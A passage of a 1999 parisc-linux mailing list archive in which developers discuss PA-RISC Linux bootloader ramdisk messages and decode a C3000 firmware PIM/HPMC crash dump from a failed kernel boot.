	id <m11eKL1-0027XWC@rachael.franken.de>
	for thepuffingroup.com!parisc-linux; Thu, 21 Oct 1999 16:41:11 +0100 (MET)
	(Smail-3.2 1996-Jul-4 #4 built DST-Sep-8)
Original-Received: by hub-fue.franken.de (Smail3.1.29.1 #35)
	id m11eKKr-002OlCC; Thu, 21 Oct 99 17:41 MET DST
Original-Received: (from tsbogend@localhost)
	by alpha.franken.de (8.8.7/8.8.5) id RAA17597;
	Thu, 21 Oct 1999 17:13:23 +0200
X-Mailer: Mutt 0.95.4us
In-Reply-To: =?iso-8859-1?Q?=3C380EEA0B=2EF5E469DB=40spacetec=2Eno=3E=3B_from_Magne_?=
 =?iso-8859-1?Q?=D8stlyngen_on_Thu=2C_Oct_21=2C_1999_at_12:25:15PM_+0200?=
Xref: news.gmane.org gmane.linux.ports.parisc:10057

On Thu, Oct 21, 1999 at 12:25:15PM +0200, Magne stlyngen wrote:
> Of course, I don't get further than 'Transferring control to kernel'..
> :(
> I thought I had a 715, but no, it was a 710 (Bushmaster), and that seems
> to make a big difference.

the cvs version from friday did only work on the A-class for me. My 715/33
panic very early in the boot process. I only did a quick look and I guess
it's caused by the serial console changes. I've no idea whether this is 
already fixed.

Thomas.

-- 
   This device has completely bogus header. Compaq scores again :-|
It's a host bridge, but it should be called ghost bridge instead ;^)
                                        [Martin `MJ' Mares on linux-kernel]


From - Thu Nov 08 21:16:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christopher Beard <chris@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] So you wanna get to a prompt, eh?
Date: Thu, 21 Oct 1999 12:06:32 -0400 (EDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9910211202300.18709-100000@localhost.localdomain>
References: <Pine.LNX.4.10.9910211105330.17129-100000@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619805 14694 80.91.229.3 (22 Nov 2014 01:30:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:05 +0000 (UTC)
Cc: Magne =?iso-8859-1?Q?=D8stlyngen?= <magne@spacetec.no>,
        parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: chris@thepuffingroup.com  Thu Oct 21 10:07:01 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA11711
	for <parisc-linux@puffin.external.hp.com>; Thu, 21 Oct 1999 10:07:01 -0600
Original-Received: (qmail 19887 invoked by uid 15267); 21 Oct 1999 16:07:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19873 invoked from network); 21 Oct 1999 16:07:57 -0000
Original-Received: from unknown (HELO ?192.168.1.229?) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 21 Oct 1999 16:07:57 -0000
X-Sender: chris@localhost.localdomain
In-Reply-To: <Pine.LNX.4.10.9910211105330.17129-100000@vodka.thepuffingroup.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10058


> > Is the ramdisk included in the kernel-image? When I boot the kernel,
> > I get 'no ramdisk'.
> 
> To build the kernel right now, you have to download a ramdisk from
> ftp://puffin.external.hp.com/pub/parisc/binaries/ramdisks or similiar.

You don't need the ramdisk if you are booting from a binary image, you only
need it if you are attempting to build your own from the source tarball
that was posted. The confusion exists in that the bootloader currently
reports:

	Loading PA-RISC/Linux Kernel...
	No ramdisks available.

And then continues along with the boot process.

Support for ramdisks was built into the bootloader, which is likely the
prefered method, however, it has never been used. It is safe to ignore this
for now.
 
Chris


From - Thu Nov 08 21:16:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] So you wanna get to a prompt, eh?
Date: Thu, 21 Oct 1999 21:54:11 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <99102121574300.00288@P100>
References: <Pine.LNX.4.10.9910211202300.18709-100000@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619805 14696 80.91.229.3 (22 Nov 2014 01:30:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:05 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Helge.Deller@ruhr-uni-bochum.de  Thu Oct 21 13:56:54 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA12638
	for <parisc-linux@puffin.external.hp.com>; Thu, 21 Oct 1999 13:56:54 -0600
Original-Received: (qmail 23466 invoked by uid 15267); 21 Oct 1999 19:57:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23459 invoked from network); 21 Oct 1999 19:57:46 -0000
Original-Received: from sunu450.rz.ruhr-uni-bochum.de (134.147.222.33)
  by mailserv2.iuinc.com with SMTP; 21 Oct 1999 19:57:46 -0000
Original-Received: (qmail 21058 invoked from network); 21 Oct 1999 19:57:43 -0000
Original-Received: from dialppp-1-201.rz.ruhr-uni-bochum.de (HELO P100) (root@134.147.1.201)
  by mailhost.rz.ruhr-uni-bochum.de with SMTP; 21 Oct 1999 19:57:43 -0000
X-Mailer: KMail [version 1.0.21]
Xref: news.gmane.org gmane.linux.ports.parisc:10059

Am Thu, 21 Oct 1999 schrieb Christopher Beard:
> > > Is the ramdisk included in the kernel-image? When I boot the kernel,
> > > I get 'no ramdisk'.
> > 
> > To build the kernel right now, you have to download a ramdisk from
> > ftp://puffin.external.hp.com/pub/parisc/binaries/ramdisks or similiar.
> 
> You don't need the ramdisk if you are booting from a binary image, you only
> need it if you are attempting to build your own from the source tarball
> that was posted. The confusion exists in that the bootloader currently
> reports:
> 
> 	Loading PA-RISC/Linux Kernel...
> 	No ramdisks available.
> 
> And then continues along with the boot process.
> 
> Support for ramdisks was built into the bootloader, which is likely the
> prefered method, however, it has never been used. It is safe to ignore this
> for now.

Yes, this is correct. I once wrote support for ramdisks loaded by the
bootloader, but this possiblility was never used until now.
If there is interrest for this, then it should be really easy to implement...
More, this method is much faster than the current method to convert
ramdisk.bin to ramdisk.c and then compile & link it statically into the kernel.

Helge Deller

BTW: I will comment out this messages in my next commit. to not get more
confusion on this point !


>  
> Chris
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.


From - Thu Nov 08 21:16:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@debian.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Boot messages from C3000 console
Date: Thu, 21 Oct 1999 14:57:20 -0500
Lines: 348
Approved: news@gmane.org
Message-ID: <199910212057.OAA19923@debian.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619806 14700 80.91.229.3 (22 Nov 2014 01:30:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:06 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@debian.fc.hp.com  Thu Oct 21 14:56:26 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA13301
	for <parisc-linux@puffin.external.hp.com>; Thu, 21 Oct 1999 14:56:26 -0600
Original-Received: (qmail 17286 invoked by uid 15267); 21 Oct 1999 20:57:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17276 invoked from network); 21 Oct 1999 20:57:22 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 21 Oct 1999 20:57:22 -0000
Original-Received: from udlkern.fc.hp.com (root@udlkern.fc.hp.com [15.1.52.48])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id OAA12768
	for <parisc-linux@thepuffingroup.com>; Thu, 21 Oct 1999 14:57:21 -0600 (MDT)
Original-Received: from debian.fc.hp.com (root@debian.fc.hp.com [15.1.48.119]) by udlkern.fc.hp.com with ESMTP (8.8.6 (PHNE_14041)/8.7.1) id OAA23116 for <parisc-linux@thepuffingroup.com>; Thu, 21 Oct 1999 14:57:20 -0600 (MDT)
Original-Received: from debian.fc.hp.com (bame@localhost [127.0.0.1])
	by debian.fc.hp.com (8.9.3/8.9.3/Debian/GNU) with ESMTP id OAA19923
	for <parisc-linux@thepuffingroup.com>; Thu, 21 Oct 1999 14:57:20 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:10060


This is long.  Thanks to Alex Williamson for this -

The short answer is once control is apparently transferred to the
kernel, the system dies hard.  Someone who can read PIM dumps
might deduce more from this log.

	-Paul Bame

Information Menu: Enter command > io


I/O MODULE INFORMATION

                                                                     IODC IODC
Path         Decimal     Type                  Location   HVER SVER  Vers Dep
- ------------ ----------- --------------------- ---------- ---- ----  ---- ----
LAN          10/0/12/0   Ethernet              built-in   0060 a200  0x02 0x00
AUDIO        10/0/13/0   Audio                 built-in   
IDE          10/0/14/0   IDE                   built-in   0060 a300  0x00 0x00
SUPERIO MISC 10/0/14/1   Bridge Device         built-in   
SERIAL_1     10/0/14/1/1 RS232 Port            built-in   0060 8c00  0x01 0x00
SERIAL_2     10/0/14/1/2 RS232 Port            built-in   0060 8c00  0x01 0x00
PARALLEL     10/0/14/1/3 Parallel Port         built-in   
USB          10/0/14/2   USB                   built-in   0060 a900  0x98 0x00
SCSI         10/0/15/0   SCSI                  built-in   0060 a300  0x00 0x00
FWSCSI       10/0/15/1   SCSI                  built-in   0060 a300  0x00 0x00
GRAPHICS(2)  10/6/2/0    Display               slot 2     0070 8500  0x01 0x00

Information Menu: Enter command > ma

- ----- Main Menu -------------------------------------------------------------

      Command                           Description
      -------                           -----------
      BOot [PRI|ALT|<path>]             Boot from specified path
      PAth [PRI|ALT|CON|KEY] [<path>]   Display or modify a path
      SEArch [DIsplay|IPL] [<path>]     Search for boot devices

      COnfiguration [<command>]         Access Configuration menu/commands
      INformation [<command>]           Access Information menu/commands
      SERvice [<command>]               Access Service menu/commands

      DIsplay                           Redisplay the current menu
      HElp [<menu>|<command>]           Display help for menu or command
      RESET                             Restart the system
- -----
Main Menu: Enter command > bo lan.15.1.55.151

Interact with IPL (Y, N, Q)?> n



Booting... 
Network Station Address 001083-354faa

System IP Address 15.1.52.165
Server IP Address 15.1.55.151


Boot IO Dependent Code (IODC) revision 2




HARD Booted.


- ------------------------------------------------------------------------------

PARISC/Linux Bootstrap Version 0.6 (non-interactive)
By Helge Deller & Jason Eckhardt
Built Thu Oct 21 12:03:52 MDT 1999 by bame@burmese

Reading parameters...done.

Loading PA-RISC/Linux Kernel...
No ramdisks available.
SOM-Kernel:
aux_header_location: 00000080
som       : 00200080
exec_dfile: 000DD000
exec_dsize: 00084000
exec_dmem : C00A9000
exec_tfile: 00044000
exec_tsize: 00098008
exec_tmem : C0010000
Code at 0x00010000, size=0x00098008
Data at 0x000A9000, size=0x00084000
BSS  at 0x0012D000.

Transferring control to kernel. (At entry point 0x00010000)



Firmware Version 1.8


Duplex Console IO Dependent Code (IODC) revision 1

- ------------------------------------------------------------------------------

   (c) Copyright 1995-1998, Hewlett-Packard Company, All rights reserved

- ------------------------------------------------------------------------------


  Processor   Speed            State           Coprocessor State  I/D Cache 

  ---------  --------   ---------------------  -----------------  -------------

      0      400 MHz    Active                 Functional         512 kB/1 MB

  Central Bus Speed:                   120 MHz

  Available memory:              805306368 bytes
  Good memory required:           82538496 bytes

  Primary boot path:    FWSCSI.6.0
  Alternate boot path:  SCSI.6.0
  Console path:         GRAPHICS(2)
  Keyboard path:        USB


CPU 0
WARNING:  Self tests have been disabled as a result of FASTBOOT
          being enabled.  To enable self tests, use the FASTBOOT
          command in the CONFIGURATION menu and reboot the system.
WARNING:  Memory has been initialized, but not tested as a result of
          FASTBOOT being enabled.  To test memory, use the FASTBOOT
          command in the CONFIGURATION menu and reboot the system.



Processor is starting auto boot process.


To discontinue, press any key within 10 seconds.


Boot terminated.

~`x

- ----- Main Menu -------------------------------------------------------------

      Command                           Description
      -------                           -----------
      BOot [PRI|ALT|<path>]             Boot from specified path
      PAth [PRI|ALT|CON|KEY] [<path>]   Display or modify a path
      SEArch [DIsplay|IPL] [<path>]     Search for boot devices

      COnfiguration [<command>]         Access Configuration menu/commands
      INformation [<command>]           Access Information menu/commands
      SERvice [<command>]               Access Service menu/commands

      DIsplay                           Redisplay the current menu
      HElp [<menu>|<command>]           Display help for menu or command
      RESET                             Restart the system
- -----
Main Menu: Enter command > ser pim



PROCESSOR PIM INFORMATION



- -----------------  Processor 0 HPMC Information ------------------


Timestamp = 
  Thu Oct  21 20:18:08 GMT 1999    (19:99:10:21:20:18:08)

HPMC Chassis Codes = 2cbf0  2500b  2cbf5  2cbfc  

General Registers 0 - 31
00-03   0000000000000000  ffffffffffffffff  00000000000100c4  0000000000504000
04-07   0000000000504010  0000000000504000  0000000000000048  00000000f0002f88
08-11   0050427700000002  000000000000004d  000000000012c320  000000000000000a
12-15   0000000000000000  00000000ffffffff  0000000000000000  00000000f0400004
16-19   000000f0f00008a4  000000f0f0000160  000000f0f0000158  fffffffffff80810
20-23   0000000003000000  0000000000001000  0000000000000000  00000000000c0000
24-27   0000000000000000  0000000000000001  00000000c0159610  ffffffffc00a8000
28-31   ffffffffffffffff  00000000000ac948  00000000000ac400  0200000000000204

<Press any key to continue (q to quit)> 


Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0000000000000000  0000000000000000  0000000000000000  000000000000003c
12-15   0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19   0000001d9f33c26d  0000000000000000  0000000000010184  000000000e601181
20-23   00000000a627ffff  c0000000e0380810  0000000000000009  0000000080000000
24-27   00000000fdffffff  00000000ffffffff  0000000000000002  0000000008000009
28-31   00000000fdffffff  00000000ffffffff  00000000fdffffff  00000000fdffffff
Space Registers 0 - 7

00-03   00000000          00000000          00000000          00000000
04-07   00000000          00000000          00000000          00000000

<Press any key to continue (q to quit)> 

IIA Space                    = 0x0000000000000000
IIA Offset                   = 0x0000000000010188
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x0030103b
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x000000fffff80810
System Requestor Address     = 0x000000fffffa0000

Floating-Point Registers 0 - 31
00-03   ffd00fbfffffffdf  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff
04-07   ffffffffffffffff  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff
08-11   ffffffffffffffff  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff
12-15   ffffffffffffffff  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff
16-19   ffffffffffffffff  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff
20-23   ffffffffffffffff  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff
24-27   ffffffffffffffff  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff
28-31   ffffffffffffffff  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff

<Press any key to continue (q to quit)> 


'B1000/C3000/J5000/J7000 Unarchitected (per-CPU)', revision 1, 140 bytes:

Check Summary                = 0xcb81041008000000
Available Memory             = 0x0000000030000000
CPU Diagnose Register 2      = 0x0200000000000204
CPU Status Register 0        = 0x2420c20000000000
CPU Status Register 1        = 0x8002000000000000
SADD LOG                     = 0x0000000000000000
Read Short LOG               = 0xc1af00fffff80810
ERROR_STATUS                 = 0x0000000000100010
MEM_ADDR                     = 0x000001ff3fffffff
MEM_SYND                     = 0x0000000000000000
MEM_ADDR_CORR                = 0x000001ff3fffffff
MEM_SYND_CORR                = 0x0000000000000000
RUN_DATA_HIGH                = 0xc1bff0fffed08040
RUN_DATA_LOW                 = 0xc1bff0fffed08040
RUN_CTRL                     = 0x0000021c00001418
RUN_ADDR                     = 0xc1bff0fffed08040
System Responder Path        = 0x00ffffffffffffff

<Press any key to continue (q to quit)> 


- -----------------  Processor 0 LPMC Information ------------------


Check Type                   = 0x00000000
I/D Cache Parity Info        = 0x00000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000



- -----------------  Processor 0 TOC Information -------------------


General Registers 0 - 31
00-03   0000000000000000  000000f0f0093000  000000f0f000b658  00000000000f4240
04-07   00000020317d230d  0000000000000004  000000f0f0407aa8  0000000000000000
08-11   000000f0f0407aa8  000000000000004d  000000000012c320  000000000000000a
12-15   0000000000000000  00000000ffffffff  0000000000000000  00000000f0400004
16-19   000000f0f00008a4  000000f0f0000160  000000f0f0000158  000000f0f0077270
20-23   000000f0f05f0068  0000000000000004  0000000000000008  000000f0f003c3ac
24-27   0000000009f9c6f0  000000003d090000  0000000017d78400  000000f0f0412000
28-31   0000000017d78400  0000000000000008  000000f0f0407d68  000000f0f00772f0

<Press any key to continue (q to quit)> 


Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0000000000000000  0000000000000000  0000000000000000  0000000000000005
12-15   0000000000000000  0000000000000000  000000f0f0003800  0000000000000000
16-19   000000203b7aaa7c  00000000000000f0  000000f0f000b664  00000000020008b8
20-23   000000009237c3c1  0000000001c07d10  000000ff0809cf08  0000000080000000
24-27   00000000fdffffff  00000000ffffffff  0000000000000002  0000000008000009
28-31   00000000fdffffff  00000000ffffffff  00000000fdffffff  00000000fdffffff
Space Registers 0 - 7

00-03   00000000          00000000          00000000          00000000
04-07   00000000          00000000          00000000          00000000

IIA Space                    = 0x00000000000000f0
IIA Offset                   = 0x000000f0f000b65c
CPU State                    = 0x0000004d


<Press any key to continue (q to quit)> 


Memory Error Log Information:


Timestamp = 
  Thu Oct  21 20:18:08 GMT 1999    (19:99:10:21:20:18:08)


'B1000/C3000/J5000/J7000 Memory Error Log', revision 0, 64 bytes:

   No memory errors logged




I/O Module Error Log Information:


Timestamp = 
  Thu Oct  21 20:18:08 GMT 1999    (19:99:10:21:20:18:08)


'B1000/C3000/J5000/J7000 IO Error Log', revision 0, 228 bytes:

 Rope     Word1        Word2            Word3
- ------ ------------ ------------
   0    0x00000000   0x0e0cc009   0x00000000fed30048
   1    0x00000000   0x1e0cc009   0x00000000fed32048
   2    ----------   0x2e0cc009   ------------------
   3    ----------   0x3e0cc009   ------------------
   4    0x00000000   0x4e0cc009   0x00000000fed38048
   5    ----------   0x5e0cc009   ------------------
   6    0x00000000   0x6e0cc009   0x00000000fed3c048
   7    ----------   0x7e0cc009   ------------------
Main Menu: Enter command > 
- --------------6D46321F53F67470D064CBF0--



------- End of Forwarded Message


From - Thu Nov 08 21:16:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot messages from C3000 console
Date: Thu, 21 Oct 1999 14:24:30 -0700 (PDT)
Lines: 61
Approved: news@gmane.org
Message-ID: <199910212124.OAA27459@bart.allegro.com>
References: <199910212057.OAA19923@debian.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619806 14703 80.91.229.3 (22 Nov 2014 01:30:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:06 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: bame@debian.fc.hp.com (Paul Bame)
Original-X-From: sieler@bart.allegro.com  Thu Oct 21 15:24:56 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA13588
	for <parisc-linux@puffin.external.hp.com>; Thu, 21 Oct 1999 15:24:55 -0600
Original-Received: (qmail 29304 invoked by uid 15267); 21 Oct 1999 21:25:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29293 invoked from network); 21 Oct 1999 21:25:51 -0000
Original-Received: from unknown (HELO bart.allegro.com) (198.102.6.10)
  by mailserv2.iuinc.com with SMTP; 21 Oct 1999 21:25:51 -0000
Original-Received: (from sieler@localhost)
	by bart.allegro.com (8.9.1/8.9.1) id OAA27459;
	Thu, 21 Oct 1999 14:24:31 -0700
In-Reply-To: <199910212057.OAA19923@debian.fc.hp.com> from "Paul Bame" at Oct 21, 99 02:57:20 pm
X-Mailer: ELM [version 2.4 PL24]
Xref: news.gmane.org gmane.linux.ports.parisc:10061

Re:

Don't know if this helps at all...

> kernel, the system dies hard.  Someone who can read PIM dumps
> might deduce more from this log.
...
> HPMC Chassis Codes = 2cbf0  2500b  2cbf5  2cbfc  

In a possibly not-quite-matching manual:

   cbf0 = HPMC occurred
   500b = bus timeout (slot 0, bus 0)
   cbf5 = IVA+32 was equal to 0
   cbfc = branch to os HPMC failed
 
> General Registers 0 - 31
> 00-03   0000000000000000  ffffffffffffffff  00000000000100c4  0000000000504000
> 04-07   0000000000504010  0000000000504000  0000000000000048  00000000f0002f88
> 08-11   0050427700000002  000000000000004d  000000000012c320  000000000000000a
> 12-15   0000000000000000  00000000ffffffff  0000000000000000  00000000f0400004
> 16-19   000000f0f00008a4  000000f0f0000160  000000f0f0000158  fffffffffff80810
> 20-23   0000000003000000  0000000000001000  0000000000000000  00000000000c0000
> 24-27   0000000000000000  0000000000000001  00000000c0159610  ffffffffc00a8000
> 28-31   ffffffffffffffff  00000000000ac948  00000000000ac400  0200000000000204
> 
> <Press any key to continue (q to quit)> 
> 
> 
> Control Registers 0 - 31
> 00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 08-11   0000000000000000  0000000000000000  0000000000000000  000000000000003c
> 12-15   0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 16-19   0000001d9f33c26d  0000000000000000  0000000000010184  000000000e601181
> 20-23   00000000a627ffff  c0000000e0380810  0000000000000009  0000000080000000
> 24-27   00000000fdffffff  00000000ffffffff  0000000000000002  0000000008000009
> 28-31   00000000fdffffff  00000000ffffffff  00000000fdffffff  00000000fdffffff
> Space Registers 0 - 7
> 
> 00-03   00000000          00000000          00000000          00000000
> 04-07   00000000          00000000          00000000          00000000
> 
> IIA Space                    = 0x0000000000000000
> IIA Offset                   = 0x0000000000010188
...
> System Responder Address     = 0x000000fffff80810
> System Requestor Address     = 0x000000fffffa0000


CR19 (IIR) = e601181 = LDWAS    0(0,19),1

So, looks like an absolute load was being done, using R19 as the address:

   R19 = fffffffffff80810

The "System Responder Address", whatever that is, is 0x000000fffff80810
which is suspciciously similar to what's in R19.

SS


From - Thu Nov 08 21:16:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Rowand <frank_rowand@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot messages from C3000 console
Date: Thu, 21 Oct 1999 15:05:45 -0700
Lines: 89
Approved: news@gmane.org
Message-ID: <380F8E39.F41B5D56@hp.com>
References: <199910212057.OAA19923@debian.fc.hp.com>
Reply-To: frowand@cup.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619806 14707 80.91.229.3 (22 Nov 2014 01:30:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:06 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Paul Bame <bame@debian.fc.hp.com>
Original-X-From: frank_rowand@hp.com  Thu Oct 21 16:04:55 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA14214
	for <parisc-linux@puffin.external.hp.com>; Thu, 21 Oct 1999 16:04:54 -0600
Original-Received: (qmail 12525 invoked by uid 15267); 21 Oct 1999 22:05:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12513 invoked from network); 21 Oct 1999 22:05:50 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 21 Oct 1999 22:05:50 -0000
Original-Received: from xsvr4.cup.hp.com (xsvr4.cup.hp.com [15.0.68.169])
	by cosrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id QAA03558
	for <parisc-linux@thepuffingroup.com>; Thu, 21 Oct 1999 16:05:51 -0600 (MDT)
Original-Received: from hp.com (localhost [127.0.0.1]) by xsvr4.cup.hp.com with ESMTP (8.7.6/8.7.3) id PAA09035; Thu, 21 Oct 1999 15:05:45 -0700 (PDT)
Original-Sender: frowand@cup.hp.com
X-Mailer: Mozilla 4.05 [en] (X11; I; HP-UX B.10.20 9000/869)
Xref: news.gmane.org gmane.linux.ports.parisc:10062

Paul Bame wrote:
> 
> This is long.  Thanks to Alex Williamson for this -
> 
> The short answer is once control is apparently transferred to the
> kernel, the system dies hard.  Someone who can read PIM dumps
> might deduce more from this log.
> 
>         -Paul Bame


Look in the IO ARS, under PDC_PIM() for info on decoding this stuff.
I'll decode a couple of key words, but I have to run to a meeting.


> Main Menu: Enter command > ser pim
> 
> PROCESSOR PIM INFORMATION
> 
> - -----------------  Processor 0 HPMC Information ------------------
> 
> Timestamp =
>   Thu Oct  21 20:18:08 GMT 1999    (19:99:10:21:20:18:08)
> 
> HPMC Chassis Codes = 2cbf0  2500b  2cbf5  2cbfc
> 
> General Registers 0 - 31
> 00-03   0000000000000000  ffffffffffffffff  00000000000100c4  0000000000504000
> 04-07   0000000000504010  0000000000504000  0000000000000048  00000000f0002f88
> 08-11   0050427700000002  000000000000004d  000000000012c320  000000000000000a
> 12-15   0000000000000000  00000000ffffffff  0000000000000000  00000000f0400004
> 16-19   000000f0f00008a4  000000f0f0000160  000000f0f0000158  fffffffffff80810
> 20-23   0000000003000000  0000000000001000  0000000000000000  00000000000c0000
> 24-27   0000000000000000  0000000000000001  00000000c0159610  ffffffffc00a8000
> 28-31   ffffffffffffffff  00000000000ac948  00000000000ac400  0200000000000204
> 
> <Press any key to continue (q to quit)>
> 
> Control Registers 0 - 31
> 00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 08-11   0000000000000000  0000000000000000  0000000000000000  000000000000003c
> 12-15   0000000000000000  0000000000000000  0000000000000000  0000000000000000
> 16-19   0000001d9f33c26d  0000000000000000  0000000000010184  000000000e601181
> 20-23   00000000a627ffff  c0000000e0380810  0000000000000009  0000000080000000
> 24-27   00000000fdffffff  00000000ffffffff  0000000000000002  0000000008000009
> 28-31   00000000fdffffff  00000000ffffffff  00000000fdffffff  00000000fdffffff
> Space Registers 0 - 7
> 
> 00-03   00000000          00000000          00000000          00000000
> 04-07   00000000          00000000          00000000          00000000
> 
> <Press any key to continue (q to quit)>
> 

This should be the address of the instruction that caused the HPMC.  Use adb
against the kernel to see what this instruction is.  Then you'll probably
need to use the contents of the general registers above to figure out what
was going on:
> IIA Space                    = 0x0000000000000000
> IIA Offset                   = 0x0000000000010188

Bus check:
> Check Type                   = 0x20000000


> CPU State                    = 0x9e000004
> Cache Check                  = 0x00000000
> TLB Check                    = 0x00000000

Read timeout:
> Bus Check                    = 0x0030103b

> Assists Check                = 0x00000000
> Assist State                 = 0x00000000
> Path Info                    = 0x00000000

Someone needs to look at an address map to see what address was being accessed:
> System Responder Address     = 0x000000fffff80810

cpu 0 is the requestor:
> System Requestor Address     = 0x000000fffffa0000



Off to the meeting...

-Frank Rowand


From - Thu Nov 08 21:16:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot messages from C3000 console
Date: Thu, 21 Oct 1999 15:51:58 -0700
Lines: 95
Approved: news@gmane.org
Message-ID: <199910212251.PAA29954@milano.cup.hp.com>
References: <199910212057.OAA19923@debian.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
